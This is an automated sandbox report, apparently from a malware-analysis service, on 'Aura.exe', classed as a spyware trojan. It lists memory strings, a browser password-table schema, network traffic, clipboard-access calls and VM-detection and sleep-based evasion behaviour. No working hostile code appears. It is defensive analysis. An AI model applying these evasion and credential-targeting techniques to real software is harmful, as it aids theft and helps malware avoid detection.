Source: Aura.exe, 00000002.00000003.1792800080.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1792942781.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1769020508.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1769094742.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Aura.exe, 00000002.00000003.1769094742.0000000005B52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Aura.exe, 00000002.00000003.1841956357.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1842228400.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1839023378.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Aura.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: Aura.exe, 00000002.00000003.1816553901.0000000005B2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Aura.exe, 00000002.00000003.1816181771.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Aura.exe, 00000002.00000003.1816181771.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Aura.exe, 00000002.00000003.1816181771.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Aura.exe, 00000002.00000003.1816181771.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Aura.exe, 00000002.00000003.1816181771.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49747 version: TLS 1.2

Source: C:\Users\user\Desktop\Aura.exe

Code function: 2_2_00432C00 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_00432C00

Source: C:\Users\user\Desktop\Aura.exe

Code function: 2_2_05941000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

2_2_05941000

Source: C:\Users\user\Desktop\Aura.exe

Code function: 2_2_00432C00 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_00432C00

Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000A1000	0_2_000A1000
Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000AF555	0_2_000AF555
Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000C7792	0_2_000C7792
Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000C5C5E	0_2_000C5C5E
Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000B9CC0	0_2_000B9CC0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000B3FB2	0_2_000B3FB2
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000A1000	2_2_000A1000
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000AF555	2_2_000AF555
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000C7792	2_2_000C7792
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000C5C5E	2_2_000C5C5E
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000B9CC0	2_2_000B9CC0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000B3FB2	2_2_000B3FB2
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00438000	2_2_00438000
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004120A0	2_2_004120A0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0040B11D	2_2_0040B11D
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004269E0	2_2_004269E0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0040E1FA	2_2_0040E1FA
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043F1A0	2_2_0043F1A0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004219B0	2_2_004219B0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00423257	2_2_00423257
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004382F0	2_2_004382F0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043FB30	2_2_0043FB30
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00422C3F	2_2_00422C3F
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043B4D0	2_2_0043B4D0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00408680	2_2_00408680
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0042BF5D	2_2_0042BF5D
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00415729	2_2_00415729
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0041C051	2_2_0041C051
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0042F856	2_2_0042F856
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004038C0	2_2_004038C0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004058D0	2_2_004058D0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004260E0	2_2_004260E0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00428882	2_2_00428882
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0041E080	2_2_0041E080
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004210B0	2_2_004210B0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0042C8BC	2_2_0042C8BC
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0042BF5D	2_2_0042BF5D
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00408680	2_2_00408680
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00418968	2_2_00418968
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043E970	2_2_0043E970
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043B910	2_2_0043B910
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004471CB	2_2_004471CB
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0041C980	2_2_0041C980
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0041499B	2_2_0041499B
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0041D9A0	2_2_0041D9A0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00429241	2_2_00429241
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00432A40	2_2_00432A40
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0040AA50	2_2_0040AA50
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00404270	2_2_00404270
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00424200	2_2_00424200
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043EA20	2_2_0043EA20
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00415230	2_2_00415230
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00406290	2_2_00406290
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004092A0	2_2_004092A0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0042D2B3	2_2_0042D2B3
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043EAB0	2_2_0043EAB0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0042DB4C	2_2_0042DB4C
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00402B20	2_2_00402B20
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00419BE0	2_2_00419BE0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00429BE1	2_2_00429BE1
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0040FB82	2_2_0040FB82
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00404BA0	2_2_00404BA0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0041E3A0	2_2_0041E3A0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00439459	2_2_00439459
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00424460	2_2_00424460
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0042846C	2_2_0042846C
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043BC30	2_2_0043BC30
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00415C3B	2_2_00415C3B
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043F4C0	2_2_0043F4C0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00429241	2_2_00429241
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00427CD5	2_2_00427CD5
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043DCE7	2_2_0043DCE7
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00411480	2_2_00411480
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0041DC80	2_2_0041DC80
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00427C8F	2_2_00427C8F
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00422540	2_2_00422540
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0042A550	2_2_0042A550
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00411D74	2_2_00411D74
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00423D78	2_2_00423D78
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00407500	2_2_00407500
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00438D10	2_2_00438D10
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0041ADD0	2_2_0041ADD0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0041E5E0	2_2_0041E5E0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00418D9F	2_2_00418D9F
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00436DBA	2_2_00436DBA
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0042EE4B	2_2_0042EE4B
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00426E50	2_2_00426E50
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0040EE60	2_2_0040EE60
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043EE60	2_2_0043EE60
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00424600	2_2_00424600
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00428E34	2_2_00428E34
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00402EC0	2_2_00402EC0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004376E0	2_2_004376E0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004096A0	2_2_004096A0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00416745	2_2_00416745
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0042CF46	2_2_0042CF46
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043E700	2_2_0043E700
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00406720	2_2_00406720
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00408F20	2_2_00408F20
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043F7C0	2_2_0043F7C0

Source: C:\Users\user\Desktop\Aura.exe	Code function: String function: 000AFAE4 appears 34 times
Source: C:\Users\user\Desktop\Aura.exe	Code function: String function: 000BCFD6 appears 40 times
Source: C:\Users\user\Desktop\Aura.exe	Code function: String function: 000AFA60 appears 100 times
Source: C:\Users\user\Desktop\Aura.exe	Code function: String function: 000B0730 appears 38 times
Source: C:\Users\user\Desktop\Aura.exe	Code function: String function: 000B80F8 appears 42 times
Source: C:\Users\user\Desktop\Aura.exe	Code function: String function: 00414510 appears 76 times
Source: C:\Users\user\Desktop\Aura.exe	Code function: String function: 00408060 appears 46 times

Source: Aura.exe

Static PE information: invalid certificate

Source: Aura.exe, 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Aura.exe
Source: Aura.exe, 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Aura.exe
Source: Aura.exe, 00000002.00000000.1674920492.000000000012E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Aura.exe
Source: Aura.exe, 00000002.00000003.1675293152.0000000004D30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Aura.exe
Source: Aura.exe	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Aura.exe

Source: Aura.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Aura.exe

Static PE information: Section: .bss ZLIB complexity 1.0003282289933444

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/1@11/2

Source: C:\Users\user\Desktop\Aura.exe

Code function: 2_2_004382F0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_004382F0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03

Source: Aura.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Aura.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Aura.exe, 00000002.00000003.1792851180.0000000005B38000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1768139082.0000000005B56000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Aura.exe

ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\Aura.exe

File read: C:\Users\user\Desktop\Aura.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Aura.exe "C:\Users\user\Desktop\Aura.exe"
Source: C:\Users\user\Desktop\Aura.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Aura.exe	Process created: C:\Users\user\Desktop\Aura.exe "C:\Users\user\Desktop\Aura.exe"
Source: C:\Users\user\Desktop\Aura.exe	Process created: C:\Users\user\Desktop\Aura.exe "C:\Users\user\Desktop\Aura.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Aura.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Aura.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Aura.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Aura.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Aura.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Aura.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: Aura.exe

Static PE information: real checksum: 0x899e8 should be: 0x932d7

Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000AFB83 push ecx; ret	0_2_000AFB96
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_3_033AF6D8 pushad ; retf	2_3_033AF6D9
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_3_033AF6D8 pushad ; retf	2_3_033AF6D9
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_3_033AFF41 push ebp; iretd	2_3_033AFF7E
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_3_033AFF41 push ebp; iretd	2_3_033AFF7E
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_3_033AF6D8 pushad ; retf	2_3_033AF6D9
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_3_033AF6D8 pushad ; retf	2_3_033AF6D9
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_3_033B16D8 push esi; retf	2_3_033B16D9
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_3_033AFF41 push ebp; iretd	2_3_033AFF7E
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_3_033AFF41 push ebp; iretd	2_3_033AFF7E
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000AFB83 push ecx; ret	2_2_000AFB96
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043B870 push eax; mov dword ptr [esp], 68696A6Bh	2_2_0043B87E
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0044289D pushfd ; ret	2_2_0044289E
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00444918 push cs; iretd	2_2_0044491F
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_004471CB push ds; retf	2_2_004476AE
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00447AB0 push E0669587h; iretd	2_2_00447AB5
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00444CF4 push esp; ret	2_2_00444CF9
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_00444ED1 push edi; ret	2_2_00444ED3
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_0043E6B0 push eax; mov dword ptr [esp], AFAEAD9Ch	2_2_0043E6B1

Source: C:\Users\user\Desktop\Aura.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Aura.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Aura.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Aura.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Aura.exe

Window / User API: threadDelayed 9913

Jump to behavior

Source: C:\Users\user\Desktop\Aura.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-21412

Source: C:\Users\user\Desktop\Aura.exe

API coverage: 9.2 %

Source: C:\Users\user\Desktop\Aura.exe TID: 7432	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe TID: 7796	Thread sleep count: 9913 > 30			Jump to behavior

Source: C:\Users\user\Desktop\Aura.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Aura.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Aura.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Aura.exe

Code function: 0_2_000C1FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_000C1FE9

Source: Aura.exe, 00000002.00000003.2531148527.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739584373.00000000033B8000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000002.3511215128.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531674049.00000000033B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWw5
Source: Aura.exe, 00000002.00000003.2531148527.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739584373.00000000033B8000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000002.3511215128.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531674049.00000000033B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Users\user\Desktop\Aura.exe

API call chain: ExitProcess graph end node

graph_2-33886

Source: C:\Users\user\Desktop\Aura.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Aura.exe

Code function: 2_2_0043CFA0 LdrInitializeThunk,

2_2_0043CFA0

Source: C:\Users\user\Desktop\Aura.exe

Code function: 0_2_000AF8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_000AF8E9

Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000DA19E mov edi, dword ptr fs:[00000030h]	0_2_000DA19E
Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000A1FB0 mov edi, dword ptr fs:[00000030h]	0_2_000A1FB0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000A1FB0 mov edi, dword ptr fs:[00000030h]	2_2_000A1FB0

